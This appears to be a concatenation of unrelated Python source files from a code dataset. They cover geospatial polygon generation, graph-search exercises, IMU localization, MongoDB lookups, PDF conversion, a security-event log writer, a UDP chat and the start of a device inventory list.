disable=invalid-name\nurls = [\n path('<str:query>', views.CheckAlphabet.as_view()),\n]\n\nurlpatterns = [\n path('%s/' % version, include((urls, version), namespace=version))\n for version in VERSION_REGISTRY.keys()\n]\n","sub_path":"poc1/alphacheck/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"209255712","text":"#!/usr/bin/env python3\n################################################################################\n# Program is used for generating scene footprint of each track with gmt format #\n# Author: Lv Xiaoran #\n# Created: July 2020 #\n################################################################################\n\nimport os\nimport argparse\nimport re\n\nfrom mintpy.utils import readfile\n######################################################################################\nEXAMPLE = \"\"\"example:\n \n generate_track_polygon.py S1***.he5 --option scfoot --output BogdSenDT4.gmt --outdir ./\n generate_track_polygon.py S1***.he5 --option cbox --output BogdSenDT4.gmt --outdir ./\n \n\"\"\"\n\ndef create_parser():\n parser = argparse.ArgumentParser(description='Generate scene footprint of each track',\n formatter_class=argparse.RawTextHelpFormatter,\n epilog=EXAMPLE)\n\n parser.add_argument('file', nargs=1, type=str, help='HDFEOS file for the project\\n')\n\n parser.add_argument('--option', nargs=1, type=str, help='two options: generate screen_footprint or coverage box'\n 'sfoot: screen_footprint; cbox: coverage box')\n\n parser.add_argument('--output', dest='output', type=str, nargs=1,\n help='output file name')\n \n parser.add_argument('--outdir',dest='outdir',nargs=1,\n help='output dir')\n \n return parser\n\ndef cmd_line_parse(iargs=None):\n parser = create_parser()\n inps = parser.parse_args(args=iargs) \n \n return inps\n\ndef generate_polygon_sfoot(inps):\n \"\"\"generate polygon for track using gmt formate\"\"\"\n file_name = inps.file[0]\n \n atr = readfile.read(file_name)[1]\n\n # extract lon/lat of four points\n polygon = atr['scene_footprint']\n lonlats = re.findall(r'([\\d+\\.]+)',polygon)\n \n # lon/lat of four points: upperright; lowerright; lowerleft; upperleft \n lon_ur = float(lonlats[0])\n lat_ur = float(lonlats[1])\n\n lon_lr = float(lonlats[2])\n lat_lr = float(lonlats[3])\n\n lon_ll = float(lonlats[4])\n lat_ll = float(lonlats[5])\n\n lon_ul = float(lonlats[6])\n lat_ul = float(lonlats[7])\n \n return lon_ur, lat_ur, lon_lr, lat_lr, lon_ll, lat_ll, lon_ul, lat_ul\n \ndef write_gmt(lon_ur, lat_ur, lon_lr, lat_lr, lon_ll, lat_ll, lon_ul, lat_ul, inps): \n '''write gmt file'''\n gmt_file = inps.outdir[0] + '/' + inps.output[0]\n \n f = open(gmt_file, mode='w')\n f.write('# @VGMT1.0 @GLINESTRING \\n')\n f.writelines(['# @R',str(min(lon_ll, lon_ul)),'/',str(max(lon_ur, lon_lr)),'/',str(min(lat_ll, lat_lr)),'/', str(max(lat_ur, lat_ul)),'\\n'])\n f.write('# @Je4326 \\n')\n f.write('# @Jp\"+proj=longlat +datum=WGS84 +no_defs\" \\n')\n f.write('# @Jw\"GEOGCS[\\\\\"WGS 84\\\\\",DATUM[\\\\\"WGS_1984\\\\\",SPHEROID[\\\\\"WGS 84\\\\\",6378137,298.257223563,AUTHORITY[\\\\\"EPSG\\\\\",\\\\\"7030\\\\\"]],AUTHORITY[\\\\\"EPSG\\\\\",\\\\\"6326\\\\\"]],PRIMEM[\\\\\"Greenwich\\\\\",0,AUTHORITY[\\\\\"EPSG\\\\\",\\\\\"8901\\\\\"]],UNIT[\\\\\"degree\\\\\",0.0174532925199433,AUTHORITY[\\\\\"EPSG\\\\\",\\\\\"9122\\\\\"]],AXIS[\\\\\"Latitude\\\\\",NORTH],AXIS[\\\\\"Longitude\\\\\",EAST],AUTHORITY[\\\\\"EPSG\\\\\",\\\\\"4326\\\\\"]]\" \\n')\n f.write('# @NId \\n')\n f.write('# @Tinteger \\n')\n f.write('# FEATURE_DATA \\n')\n f.write('>')\n f.write('# @D0 \\n')\n f.writelines([str(lon_ur), ' ', str(lat_ur), '\\n'])\n f.writelines([str(lon_lr), ' ' , str(lat_lr), '\\n'])\n f.writelines([str(lon_ll), ' ' , str(lat_ll), '\\n'])\n f.writelines([str(lon_ul), ' ' , str(lat_ul), '\\n'])\n f.writelines([str(lon_ur), ' ', str(lat_ur), '\\n'])\n f.close() \n\ndef generate_polygon_cbox(inps):\n \"\"\"generate covarage box\n lat0,lon0- starting latitude/longitude (first row/column)\n lat1,lon1- ending latitude/longitude (last row/column)\n \"\"\"\n file_name = inps.file[0] \n atr = readfile.read(file_name)[1]\n length,width = int(atr['LENGTH']),int(atr['WIDTH'])\n \n if 'Y_FIRST' in atr.keys():\n # geo coordinates\n lat0 = float(atr['Y_FIRST'])\n lon0 = float(atr['X_FIRST'])\n lat_step = float(atr['Y_STEP'])\n lon_step = float(atr['X_STEP'])\n lat1 = lat0 + (length - 1) * lat_step\n lon1 = lon0 + (width - 1) * lon_step\n else:\n # radar coordinates\n lats = [float(atr['LAT_REF{}'.format(i)]) for i in [1,2,3,4]]\n lons = [float(atr['LON_REF{}'.format(i)]) for i in [1,2,3,4]]\n lat0 = np.mean(lats[0:2])\n lat1 = np.mean(lats[2:4])\n lon0 = np.mean(lons[0:3:2])\n lon1 = np.mean(lons[1:4:2])\n \n # lon/lat of four points: upperright; lowerright; lowerleft; upperleft \n lon_ur = lon1\n lat_ur = lat0\n \n lon_lr = lon1\n lat_lr = lat1\n \n lon_ll = lon0\n lat_ll = lat1\n\n lon_ul = lon0\n lat_ul = lat0\n\n return lon_ur, lat_ur, lon_lr, lat_lr, lon_ll, lat_ll, lon_ul, lat_ul\n######################################################################################\ndef main(iargs=None):\n inps = cmd_line_parse(iargs) \n \n option = inps.option\n if option == 'sfoot':\n lon_ur, lat_ur, lon_lr, lat_lr, lon_ll, lat_ll, lon_ul, lat_ul = generate_polygon_sfoot(inps)\n else:\n lon_ur, lat_ur, lon_lr, lat_lr, lon_ll, lat_ll, lon_ul, lat_ul = generate_polygon_cbox(inps)\n\n write_gmt(lon_ur, lat_ur, lon_lr, lat_lr, lon_ll, lat_ll, lon_ul, lat_ul, inps)\n######################################################################################\nif __name__ == '__main__':\n main()\n","sub_path":"mimtpy/generate_track_polygon.py","file_name":"generate_track_polygon.py","file_ext":"py","file_size_in_byte":5608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"394928723","text":"import sys\nsys.stdin = open(\"2105_디저트 카페.txt\")\n\ndef isWall(x, y):\n if x < 0 or x >= N: return True\n elif y < 0 or y >= N: return True\n else: return False\n\ndef check(x, y):\n rx = lx = x\n ry = ly = y\n while 1:\n rx += dx[0]\n ry += dy[0]\n if isWall(rx, ry) == True:\n rx -= dx[0]\n ry -= dy[0]\n right.append(rx)\n right.append(ry)\n break\n while 1:\n lx += dx[1]\n ly += dy[1]\n if isWall(lx, ly) == True:\n lx -= dx[1]\n ly -= dy[1]\n left.append(lx)\n left.append(ly)\n break\n\ndef solve(x, y, right, left):\n global maxdis\n lx = rx = x\n ly = ry = y\n for i in range(1, right[1] - y + 1):\n for j in range(1, y - left[1] + 1):\n if lx + j + rx + i - x <= N-1 and ly - j + ry + i - y <= N-1:\n arr = [[rx + i, ry + i], [lx + j + rx + i - x, ly - j + ry + i - y], [lx + j, ly - j], [x, y]]\n case = []\n a , b = x, y\n k = 0\n while 1:\n a += dx[k]\n b += dy[k]\n case.append(data[a][b])\n if a == arr[k][0] and b == arr[k][1]:\n k += 1\n if k == 4:\n break\n if len(case) == len(set(case)):\n if maxdis < len(case):\n maxdis = len(case)\n\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n data = [list(map(int, input().split())) for _ in range(N)]\n maxdis = 0\n dx = [1, 1, -1, -1]\n dy = [1, -1, -1, 1]\n for i in range(N-2):\n for j in range(1, N-1):\n right = []\n left = []\n check(i, j)\n solve(i, j, right, left)\n if maxdis == 0:\n print('#{} -1'.format(tc))\n else:\n print('#{} {}'.format(tc, maxdis))\n","sub_path":"work/SW_expert_academy/2105_디저트 카페(2).py","file_name":"2105_디저트 카페(2).py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"16566247","text":"INF = 99999999\r\n\r\ngraph = [\r\n [0,7,5],\r\n [7,0,INF],\r\n [5,INF,0]\r\n]\r\n\r\nprint(graph)\r\n\r\nAdjust=[]\r\n\r\nfor i in range(len(graph)):\r\n temp = []\r\n for j in range(len(graph[0])):\r\n if i == j:\r\n continue\r\n else:\r\n if graph[i][j] != INF:\r\n temp.append((i,graph[i][j]))\r\n else:\r\n continue\r\n Adjust.append(temp)\r\nprint(Adjust)\r\n\r\ngraphs=[\r\n [],\r\n [2,3,8],\r\n [1,7],\r\n [1,4,5],\r\n [3,5],\r\n [3,4],\r\n [7],\r\n [2,6,8],\r\n [1,7]\r\n]\r\n\r\nvisited = [False] * 9\r\n\r\ndef dfs(graph,v,visited):\r\n visited[v] = True\r\n print(v, end= ' ')\r\n for i in graph[v]:\r\n if not visited[i]:\r\n dfs(graph,i,visited)\r\n\r\nprint(dfs(graphs,1,visited))\r\nvisited = [False] * 9\r\n\r\nfrom collections import deque\r\n\r\ndef bfs(graph,start,visited):\r\n queue = deque([start])\r\n\r\n visited[start] = True\r\n\r\n while queue:\r\n v = queue.popleft()\r\n print(v, end= ' ')\r\n for i in graph[v]:\r\n if not visited[i]:\r\n queue.append(i)\r\n visited[i] = True\r\n\r\nprint(bfs(graphs,1,visited))","sub_path":"Algorithm/BFS&DFS/DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"260751141","text":"import udp_class\nimport time\nimport numpy as np\nimport math\nimport GPD\nimport quat\nfrom plot import makeFig\nfrom tcp_func import tcp_send\n####make objects\nudp = udp_class.UDP_data()\ngpd = GPD.GPD()\n###make objects complete\ni = 0\nlastUpdate = 0\nNow = 0\nudp.start(\"192.168.43.182\",3333)\ntime1 = time.time() \nprev = 0\nans = 1\nsteps = 0\ncunt = 0\nacc_plt = [[],[],[]]\nvel = [[],[],[]]\npos = [[],[],[]]\ndel_t = 1/100.0\nvelocity = np.array([0,0,0])\nposition = np.array([0,0,0])\ntime_sample = time.time()\nj = 0\nflag3 = 0\nyaw_offset = 0\nwhile(time.time() - time1 < 40):\n\n i = i + 1\n data = udp.update()\n #hash1,acc_x,acc_y,acc_z,gyro_x,gyro_y,gyro_z,yaw,pitch,roll = data.split()\n hash1,yaw,pitch,roll,acc_x,acc_y,acc_z,gyro_x,gyro_y,gyro_z = data.split()\n acceleration = np.array([float(acc_x),float(acc_y),float(acc_z)])\n angular = np.array([float(gyro_x),float(gyro_y),float(gyro_z)])\n \"\"\"yaw = float(yaw)\n yaw1 = float(yaw1)\n yaw_offset = 0\n yaw_temp = yaw + yaw_offset\n if(yaw_temp > 180):\n yaw_temp = yaw_temp - 180\n if(yaw_temp < -180):\n yaw_temp = yaw_temp + 180\"\"\"\n quater1 = quat.quat(float(roll),float(pitch),float(yaw))\n acc_t = gpd.update_d(acceleration,angular,quater1)\n ans = gpd.stance_con()\n #print(yaw)\n ### if stance condition is ended then set velocity to zero ### This is ZERO VELOCITY UPDATE\n if(prev == 1 and ans == 0 and cunt > 60):#20\n cunt = 0\n steps = steps + 1\n Threshold = gpd.reset()\n print(\"end of stance : step number : Threshold\",steps,Threshold)\n flag3 = 0\n\n velocity=np.zeros(3)\n\n if(prev == 0 and ans == 1):\n print(\"start of stance\")\n #tcp_send('192.168.43.205',7800,\"S%s,%s:1\"%(position[0],position[1]))\n #velocity=np.zeros(3)\n if(cunt > 40):#40\n print(\"stop\")\n velocity = np.array([0,0,0])\n flag3 = 1\n ### update the previous value of stance condition\n prev = ans\n cunt = cunt + 1\n acc_plt[0].append(acc_t[0])\n acc_plt[1].append(acc_t[1])\n acc_plt[2].append(acc_t[2])\n\n ### end update\n ####UPDATE VELOCITY AND POSITION\n if(time.time()-time_sample < 10):\n j = j + 1\n print(j,yaw)\n #yaw_offset = yaw1 - yaw\n else:\n print(\"time : \",time.time() - time1,yaw)\n #print(yaw)\n del_t = 10.0/j\n if(flag3 == 0):\n velocity = velocity + np.multiply(del_t,acc_t)\n position = position + np.multiply(del_t,velocity)\n vel[0].append(velocity[0])\n vel[1].append(velocity[1])\n vel[2].append(velocity[2])\n pos[0].append(position[0])\n pos[1].append(position[1])\n pos[2].append(position[2])\nprint(i,(np.linalg.norm(position[:2])*13.1)/2.1,np.linalg.norm(position[:2]))\nmakeFig([vel[0],vel[1],pos[0]],[pos[0],pos[1],pos[1]])\n","sub_path":"IMU_localization.py","file_name":"IMU_localization.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"238351507","text":"from pymongo import MongoClient\nfrom bson.objectid import ObjectId\nfrom pprint import pprint\n\nclass DbScanner:\n def __init__(self, hostname, port):\n self.hostname = hostname\n self.port = port\n\n def get_id_scan_from_draw (self, username, id_draw = None, id_profile = None):\n #print(\"Alla ricerca dello Scanner \"+str(username)+\" con id_draw \"+str(id_draw)+\" e id_profile \"+str(id_profile))+\"\\n\"\n if not isinstance(username, (str, unicode)):\n raise TypeError(\"Host must be a string\")\n if not (id_draw == None or isinstance(id_draw, (int, long))):\n raise TypeError(\"id_draw must be an int or None\")\n if not username:\n return None\n\n\n client = MongoClient(self.hostname, self.port)\n db = client.scanner_db\n\n collection = db.UserScanner\n query_base = {'username' : username}\n if id_draw is not None:\n query_base.update({'id_draw' : id_draw})\n if id_profile is not None:\n query_base.update({'id_profile' : id_profile})\n\n res_userscan = collection.find_one(query_base)\n if res_userscan is None:\n #print(\"Utente non trovato\")\n return None\n\n collection = db.Scanner_list\n res_scan = collection.find_one({\"id_draw\" : res_userscan['id_draw']})\n client.close()\n if res_scan is None:\n #print(\"Scanner non trovato\")\n return None\n\n ret_info = res_scan\n\n\n ret_info['option_list'] = {}\n if id_profile is not None:\n collection = db.Profile_list\n res_profile = collection.find({\"id_profile\" : id_profile})\n if res_profile is None:\n #print(\"Profilo non trovato\")\n return None\n for doc in res_profile:\n ret_info['option_list'][doc['option']] = doc['value']\n\n\n #print(\"Scanner trovato : \\n\")\n #pprint(ret_info)\n #print(\"\\n\")\n return ret_info\n","sub_path":"dbscanner.py","file_name":"dbscanner.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"316403571","text":"from wand.image import Image\nimport argparse\nimport cv2\nimport os\nimport sys\n\n\ndef pdf2img(pdffile, imgfile):\n with Image(filename=pdffile, resolution=300) as img:\n print('width =', img.width)\n print('height =', img.height)\n print('pages = ', len(img.sequence))\n print('resolution = ', img.resolution)\n with img.convert('jpg') as converted:\n converted.save(filename=imgfile)\n\n\nfor pdf_file in os.listdir('./pdf'):\n if pdf_file.endswith('.pdf'):\n pdf_filename = os.path.splitext(pdf_file)[0]\n pdf_file_path = './pdf/' + pdf_file\n jpg_file_path = './jpg/' + pdf_filename + '.jpg'\n if not os.path.exists(jpg_file_path):\n pdf2img(pdf_file_path, jpg_file_path)\n# pdf2img('idf_bj_20180209.pdf', 'idf_bj_20180209.jpg')\n","sub_path":"idf/sz/pdf2img.py","file_name":"pdf2img.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"626116713","text":"from pymongo import MongoClient\nimport api\nimport os\n\n\ndef connect_to_mongo():\n app_settings = os.getenv('APP_SETTINGS')\n env = getattr(api.config, app_settings)\n print(env.CONNECTION)\n client = MongoClient(env.CONNECTION)\n db = client.bevrand\n return db","sub_path":"bevrand.playlistapi/api/db/db_connection.py","file_name":"db_connection.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"307704985","text":"# Copyright 2015 refractionPOINT\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom beach.actor import Actor\n\nimport os\nimport json\nimport logging\nimport logging.handlers\nimport uuid\nimport base64\n\nclass FileEventsOutput( Actor ):\n def init( self, parameters, resources ):\n self._output_dir = parameters.get( 'output_dir', '/tmp/lc_out/' )\n self._is_flat = parameters.get( 'is_flat', False )\n self._use_b64 = parameters.get( 'use_b64', True )\n if not os.path.exists( self._output_dir ):\n self.log( 'output directory does not exist, creating it' )\n os.makedirs( self._output_dir )\n elif not os.path.isdir( self._output_dir ):\n self.logCritical( 'output_dir exists but is not a directory: %s' % self._output_dir )\n return\n self._file_logger = logging.getLogger( 'limacharlie_events_file' )\n self._file_logger.propagate = False\n handler = logging.handlers.RotatingFileHandler( os.path.join( self._output_dir, self.name ), \n maxBytes = parameters.get( 'max_bytes', 1024 * 1024 * 10 ), \n backupCount = parameters.get( 'backup_count', 3 ) )\n handler.setFormatter( logging.Formatter( \"%(message)s\" ) )\n self._file_logger.setLevel( logging.INFO )\n self._file_logger.addHandler( handler )\n self.handle( 'log', self.logToDisk )\n self.handle( 'report_inv', self.reportDetectOrInv )\n self.handle( 'report_detect', self.reportDetectOrInv )\n \n def deinit( self ):\n pass\n\n def sanitizeJson( self, o ):\n if type( o ) is dict:\n for k, v in o.iteritems():\n o[ k ] = self.sanitizeJson( v )\n elif type( o ) is list or type( o ) is tuple:\n o = [ self.sanitizeJson( x ) for x in o ]\n elif type( o ) is uuid.UUID:\n o = str( o )\n else:\n try:\n if ( type(o) is str or type(o) is unicode ) and \"\\x00\" in o: raise Exception()\n json.dumps( o )\n except:\n if self._use_b64:\n o = base64.b64encode( o )\n else:\n o = o.encode( 'hex' )\n\n return o\n\n def flattenRecord( self, o, newRoot = None, prefix = '' ):\n isEntry = newRoot is None\n if isEntry: newRoot = {}\n if type( o ) is dict:\n for k, v in o.iteritems():\n if -1 != k.find( '.' ):\n newK = k[ k.find( '.' ) + 1 : ]\n else:\n newK = k\n if '' != prefix:\n newPrefix = '%s/%s' % ( prefix, newK )\n else:\n newPrefix = newK\n val = self.flattenRecord( v, newRoot, newPrefix )\n if val is not None:\n newRoot[ newPrefix ] = val\n return newRoot if isEntry else None\n elif type( o ) is list or type( o ) is tuple:\n i = 0\n for v in o:\n newPrefix = '%s_%d' % ( prefix, i )\n val = self.flattenRecord( v, newRoot, newPrefix )\n if val is not None:\n newRoot[ newPrefix ] = v\n i += 1\n return newRoot if isEntry else None\n else:\n return o\n\n def logToDisk( self, msg ):\n routing, event, mtd = msg.data\n\n record = self.sanitizeJson( event )\n if self._is_flat:\n record = self.flattenRecord( record )\n \n self._file_logger.info( json.dumps( { 'routing' : routing, \n 'event' : record } ) )\n\n return ( True, )\n\n def reportDetectOrInv( self, msg ):\n record = msg.data\n\n record = self.sanitizeJson( record )\n if self._is_flat:\n record = self.flattenRecord( record )\n\n self._file_logger.info( json.dumps( record ) )\n\n return ( True, )\n","sub_path":"beach/hcp/analytics/FileEventsOutput.py","file_name":"FileEventsOutput.py","file_ext":"py","file_size_in_byte":4517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"478828006","text":"# -*- coding: utf-8 -*-\nfrom setuptools import setup, find_packages\nimport glob\nimport os\n\nif os.path.exists('VERSION'):\n version = open(\"VERSION\").readline().strip()\nelse:\n for line in open('PKG-INFO'):\n if 'Version' in line:\n version=(line.split()[1]).strip()\ninstall_requires=[]\n\nfor line in open('requirements.txt'):\n install_requires.append(line.strip())\n\nsetup(name='datagovernance',\n version=version,\n description='',\n long_description=\"\"\"\\\n\"\"\",\n # Get more strings from http://www.python.org/pypi?%3Aaction=list_classifiers # nopep8\n classifiers=[\n \"Programming Language :: Python\",\n ],\n keywords='',\n author='ddc',\n author_email='ufwt@hotmail.com',\n url='xxx',\n license='GPL',\n packages=find_packages(exclude=[\"ez_setup\",\"test.*\", \"test\"]),\n namespace_packages=[],\n include_package_data=True,\n test_suite='nose.collector',\n zip_safe=False,\n install_requires=install_requires,\n #scripts=['bin/parse_mq','bin/parse_file'],\n data_files=[(\"bin\",glob.glob(\"bin/*\")),\n (\"logs\",[]),\n (\"etc\",glob.glob(\"etc/*.*\")) \n ],\n entry_points=\"\"\"\n # -*- Entry points: -*-\n \"\"\",\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"285124082","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /tmp/pip-install-jkXn_D/slimit/slimit/mangler.py\n# Compiled at: 2018-07-11 18:15:31\n__author__ = 'Ruslan Spivak <ruslan.spivak@gmail.com>'\nfrom slimit.scope import SymbolTable\nfrom slimit.visitors.scopevisitor import ScopeTreeVisitor, fill_scope_references, mangle_scope_tree, NameManglerVisitor\n\ndef mangle(tree, toplevel=False):\n \"\"\"Mangle names.\n\n Args:\n toplevel: defaults to False. Defines if global\n scope should be mangled or not.\n \"\"\"\n sym_table = SymbolTable()\n visitor = ScopeTreeVisitor(sym_table)\n visitor.visit(tree)\n fill_scope_references(tree)\n mangle_scope_tree(sym_table.globals, toplevel)\n mangler = NameManglerVisitor()\n mangler.visit(tree)","sub_path":"pycfiles/ka_lite_static-0.17.5-py2-none-any/mangler.py","file_name":"mangler.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"170194484","text":"import urllib.request\r\nimport json\r\n\r\nname = input(\"Please enter the username: \")\r\nmy_api= \"\" #Enter your API,From http://console.cloud.google.com by creating a project. \r\nurl_data = urllib.request.urlopen(\"https://www.googleapis.com/youtube/v3/channels?part=statistics&forUsername=\"+name+\"&key=\"+my_api).read()\r\n\r\nvalid_username = json.loads(url_data)[\"pageInfo\"][\"totalResults\"]\r\n\r\nif valid_username == 1:\r\n subs = json.loads(url_data)[\"items\"][0][\"statistics\"][\"subscriberCount\"]\r\n view_count = json.loads(url_data)[\"items\"][0][\"statistics\"][\"viewCount\"]\r\n sub_str = name + \" has \" + \"{:,d}\".format(int(subs)) + \" subscribers \"\r\n view_count_str = \"and the view count of \" + name + \" is \" + \"{:,d}\".format(int(view_count))\r\n video_count = json.loads(url_data)[\"items\"][0][\"statistics\"][\"videoCount\"]\r\n video_count_str = \" with \" + \"{:,d}\".format(int(video_count)) + \" uploads.\"\r\n print(sub_str + view_count_str + video_count_str)\r\n\r\nelse:\r\n print(\"Username not valid\")\r\n\r\n\r\n\r\n","sub_path":"YouTube_Subscriber_Count.py","file_name":"YouTube_Subscriber_Count.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"48359140","text":"#!/usr/bin/env/python3\n# compute_features.py\n# \n# Input: File of sequence data.\n# Output: Computed feature of interest\n#\n# Last edit: 22 May 2018\n# 31 May 2018 -> Compute %GC, %A, start codon features.\n# 2 May 2018 -> Write features to file.\n\nimport os\nimport re\nimport sys\nimport numpy as np\n\ndef compute_features(sequence_file):\n '''Feature options. These will be the columns in the table.\n feat1 = \"GC_content\"\n feat2 = \"percent_A\"\n feat3 = \"AUG\" # start_codon\n '''\n outpath = 'output/features/'\n outdir = os.listdir(outpath)\n \n # initialize counters\n tally_GC = 0 # GC content\n# tally_G = 0\n# tally_C = 0 \n tally_A = 0 # % A\n# tally_AT = 0\n# tally_T = 0\n tally_SC = 0 # Total start codons\n total = 0. # sequence length\n \n cnt = 0\n with open(sequence_file, 'r') as sf:\n seq = sf.readlines()\n for line in seq: \n line = line.strip('\\n')\n print ('Line',cnt)\n i = 0 # incrementer for codon stepping logic.\n for nt in line: # break sequence into single nucleotides\n if nt == 'C' or nt == 'G':\n tally_GC += 1\n# if nt == 'C':\n# tally_C += 1\n# if nt == 'G':\n# tally_G += 1\n if nt == 'A':\n tally_A += 1\n# if nt == 'T':\n# tally_T += 1\n # break sequence into codon triplets and see which ones\n # are equal to AUG DNA complement.\n codon = str(line[i:i+3])\n if codon == 'ATG': # Methionine most common start codon in eukaryotes.\n tally_SC += 1\n i += 1\n total += 1\n cnt += 1\n\n percent_GC = round(tally_GC/total,4)\n # percent_G = round(tally_G/total,4)\n # percent_C = round(tally_G/total,4)\n percent_A = round(tally_A/total,4)\n # percent_T = round(tally_T/total,4)\n# percent_AT = tally_AT/total\n \n print('Total Gs and Cs in sequence:', tally_GC)\n print(r'% GC: {0:.3}'.format(percent_GC*100))\n print('Total As in sequence:', tally_A)\n# print('Total As and Ts in sequence:', tally_AT)\n# print('% AT: {0:.3}'.format(percent_AT*100))\n print('Total start codons in sequence:', tally_SC)\n\n # grab task ID to attach proper sequence ID\n seq_num = int(re.search(r'\\d+',sequence_file).group())\n seq_id = 'Seq_' + str(seq_num) + '.' +str(cnt)\n\n # combine features into an entry and write to file\n entry = np.array([seq_id, percent_GC, percent_A, tally_SC]) \n # entry = np.array([seq_id, \n # percent_G, percent_C, \n # percent_A, percent_T, \n # tally_SC]) \n \n # write feature to output file\n with open(outpath+'feature_'+str(seq_id), 'a') as f:\n f.write(str(entry).strip('[]')+'\\n')\n \ndef main(sequence_file):\n compute_features(sequence_file)\n\nif __name__ == '__main__':\n sfile = sys.argv[1]\n\n print('Using Sequence file: ', sfile)\n main(sfile)\n","sub_path":"run_job/scripts/compute_features.py","file_name":"compute_features.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"402518426","text":"from pprint import pprint\n\nfrom gensim import corpora\nfrom .remove_words import remove_words_less_than_n\nfrom .remove_stopwords import remove_stopwords\n\n\ndocuments = [\"Human machine interface for lab abc computer applications\",\n \"A survey of user opinion of computer system response time\",\n \"The EPS user interface management system\",\n \"System and human system engineering testing of EPS\",\n \"Relation of user perceived response time to error measurement\",\n \"The generation of random binary unordered trees\",\n \"The intersection graph of paths in trees\",\n \"Graph minors IV Widths of trees and well quasi ordering\",\n \"Graph minors A survey\"]\n\n\ndef tokenize(sent):\n words = [word for word in sent.lower().split()]\n\n return words\n\n\ntexts = [[word for word in tokenize(document)] for document in documents]\ntexts = [remove_stopwords(words) for words in texts]\ntexts = remove_words_less_than_n(texts)\n\n\npprint(texts)\n\ndictionary = corpora.Dictionary(texts)\ndictionary.save('deerwester.dict') # store the dictionary, for future reference\nprint(dictionary.token2id)\nprint(dict(dictionary.items()))\n","sub_path":"dictionary/create_vocabulary.py","file_name":"create_vocabulary.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"395180632","text":"from socket import *\r\n#from threading import *\r\n\r\n\r\nl = [(\"192.168.0.53\", \"Steffen\"), (\"192.168.0.58\", \"Christian\"), (\"192.168.0.54\", \"Herr Karp\"), (\"192.168.0.55\", \"Josh\"), (\"192.168.0.57\", \"Jonas\"), (\"192.168.0.60\", \"Luca\")]\r\n\r\ndef client():\r\n s = socket(AF_INET, SOCK_DGRAM)\r\n while True:\r\n i = input(\"\\nSenden: \")\r\n s.sendto(bytes(i, \"utf-8\"), (\"192.168.0.255\", 8686))\r\n\r\ndef server():\r\n s = socket(AF_INET, SOCK_DGRAM)\r\n s.bind(('', 8686))\r\n while True:\r\n data, addr = s.recvfrom(4096)\r\n\r\n\r\n e = addr[0]\r\n for i in l:\r\n if i[0] == addr[0]:\r\n e = i[1]\r\n \r\n print(e + \": \" + data.decode(\"utf-8\"))\r\n\r\n#tListener = Thread(target=server)\r\n#tClient = Thread(target=client)\r\n\r\n#tListener.start()\r\n#tClient.start()\r\n\r\nserver()\r\n","sub_path":"Netzwerke/Sockets/udp_chat_server.py","file_name":"udp_chat_server.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"590195431","text":"var = [\n [\"HP Laptop\", \"5CD7012GcQ/CNU251BG78\", \"SHI16410/SHI8053\", \"None\"], # Abdellah Maarouf\n ['None', 'DM767A', 'None', 'None'], #\"Abdul Kargbo\"\n ['HP Tablet', 'None', 'SHI13064', 'None'], # \"Ali Alloo\"\n ['Apple iPad/Keboard/Pencil', 'None', 'DMPTF3SNGXPX/FTPTL5WNH6Q8', 'C4MTDP5ZGWTJ'], #\"Ana Castillo\",\n [\"Apple iPad/Keboard/Pencil\", \"DMPTF2YVGXPX/FTPTLAK7H6Q8/FQFTD4CRGWTJ\", \"None\", \"None\"], #\"Andy Perez\", \n [\"Kindle\", \"GOOL407643021N\", \"None\", \"None\"], #\"Bridget Volker\"\n\t[\"Lenovo Laptop\", \"R9PMP8W\", \"None\", \"None\"], #\"Brian Covela\"\n [\"MacBook Pro/Ipad\", \"DMP5R35AGXPX/DMPLX6QF4YG\", \"SHI11203/None\", \"None\"], #\"Bryan O\\'Neill\", \n [\"HP Laptop\", \"None\", \"SHI11158\", \"None\"], #\"Carl Anderson\",\n [\"HP Laptop\", \"None\", \"SHI12695\", \"None\"], #\"Carolyne Eustice\",\n\t[\"HP Laptop\",\"None\", 